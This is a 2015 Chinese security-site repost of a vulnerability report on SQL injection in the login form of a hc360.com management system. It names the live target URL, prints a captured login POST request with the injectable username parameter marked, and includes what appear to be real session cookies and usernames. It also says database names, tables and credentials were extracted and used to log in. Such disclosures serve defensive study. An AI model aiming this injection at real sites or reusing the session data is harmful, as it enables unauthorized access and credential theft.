欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

慧聪网某管理系统存在SQL注入

来源:本站整理 作者:佚名 时间:2015-05-08 TAG: 我要投稿

慧聪网某管理系统存在SQL注入

问题站点:http://app.info.hc360.com/design/login.aspx登录框用户名处存在sql注入

登录过程中抓取数据包,如下:

POST /Design/Login.aspx HTTP/1.1
Host: app.info.hc360.com
Proxy-Connection: keep-alive
Content-Length: 199
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://app.info.hc360.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://app.info.hc360.com/Design/Login.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: hcbrowserid=C676FD3E35200001CBF61990AF601D1F; anonymousUser=1501201942730624; user-key=C241621D4C5000018FE01E80E92016D6; hcsearch=2015012019443338020.361300119; notehccomm_id=2015012023373113627951; 8J5J_24da_saltkey=E8nkhcB8; 8J5J_24da_lastvisit=1425896380; 8J5J_24da_ulastactivity=1426056788%7C0; 8J5J_24da_connect_is_bind=0; 8J5J_24da_lastcheckfeed=447670%7C1426058672; _ga=GA1.2.1152442213.1426058515; Hm_lvt_e68d60edfb709b5834cb5e9286b4ce4b=1426912291,1426914697; 8J5J_24da_visitedfid=787; contactViewCount=0; 8J5J_24da_home_readfeed=1427018116; pgv_pvi=5923600960; fhIndex=0; Hm_lvt_06474281345ff890f5e038e643844bbf=1425613593,1427021420; fhpCode=01031000000; fhcityCode=01031010000; fhcountyCode=; fhv=%E4%B8%8A%E6%B5%B7-%E4%B8%8A%E6%B5%B7%E5%B8%82; shpCode=01037000000; shcityCode=01037020000; shcountyCode=; shv=%E5%B1%B1%E4%B8%9C%E7%9C%81-%E9%9D%92%E5%B2%9B%E5%B8%82; hckIndex=C676FD3E35B00001133D3FCB90C01813%231%23hc360%2Ecom%232%23viewwords1%232%2363071999998%231%23hc360%2Ecom%232%23viewwords%232%231458558301000; Hm_lvt_4fea1a6421a72296a12cd7898b93858e=1426054456,1426914916,1427093558; newhcproviderid=100000520617; LoginID=mmt; loginTime="2015-03-23 15:03:38"; lastloginusers="qwer,jish,mmt"; LoginID4System=676003; urgeStay=1; visitid_time="2015-03-23 15:03:38"; hc360_userid=676003; hccordet=00; hcpreurl=; hc360visitid=C25546AF1A100001B686F7A01B0DA120; lzstat_uv=35453988641120734415|1086984@1086980@1430230; lzstat_ss=67445007_0_1427158006_1086980|1001705420_0_1427158020_1430230|829640564_0_1427158020_1086984; hcsearchurlport=1; hc360analyid=C68B04AC9CD00001C26E197F39FDA3D0; hc360analycopyid=C68B04AC9D1000016E466730F0321181; 8J5J_24da_lastact=1427130664%09admin.php%09; 8J5J_24da_home_diymode=1; username=xinpeng16; __tmpo630107_cpy=1_1427131232; Hm_lvt_e1e386be074a459371b2832363c0d7e7=1427093081,1427093761,1427094152,1427129202; Hm_lpvt_e1e386be074a459371b2832363c0d7e7=1427131233; hc5minbeat=1427131232546; ASP.NET_SessionId=efakggexhag4fz451n2wbm45
__VIEWSTATE=dDwtMTQ3ODAzODY3Mzs7bDxidG5fTG9naW47YnRuX0NsZWFyOz4%2B%2B0IWpbCq24KDhavENBA5NjQVaxA%3D&Text_UserName=test*&Text_PassWord=123456&Ddl_Trade=%C9%E8%BC%C6%B2%BF&btn_Login.x=47&btn_Login.y=8
漏洞参数:Text_UserName获取数据库名称

获取数据表:

得到用户名密码,登录系统中。。。

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载